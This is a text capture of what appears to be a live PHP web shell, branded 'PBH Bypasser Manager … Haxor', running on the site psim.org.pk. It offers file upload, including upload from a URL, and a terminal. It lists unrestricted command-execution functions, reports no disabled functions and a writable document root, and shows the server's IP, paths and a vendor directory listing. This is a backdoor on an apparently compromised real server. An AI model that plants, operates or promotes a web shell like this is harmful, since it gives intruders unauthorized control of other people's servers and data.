🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-12 20:13:20
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
cli-parser -- 2775 2024-03-02 07:12:49 psim
code-unit -- 2775 2023-02-03 06:58:43 psim
code-unit-reverse-lookup -- 2775 2023-02-03 06:59:15 psim
comparator -- 2775 2024-10-18 14:56:07 psim
complexity -- 2775 2023-12-21 08:37:17 psim
diff -- 2775 2024-03-02 07:15:17 psim
environment -- 2775 2024-03-23 08:47:14 psim
exporter -- 2775 2024-03-02 07:17:12 psim
global-state -- 2775 2024-03-02 07:19:19 psim
lines-of-code -- 2775 2023-12-21 08:38:20 psim
object-enumerator -- 2775 2023-02-03 07:08:32 psim
object-reflector -- 2775 2023-02-03 07:06:18 psim
recursion-context -- 2775 2023-02-03 07:05:40 psim
type -- 2775 2023-02-03 07:10:45 psim
version -- 2775 2023-02-07 11:34:05 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/sebastian)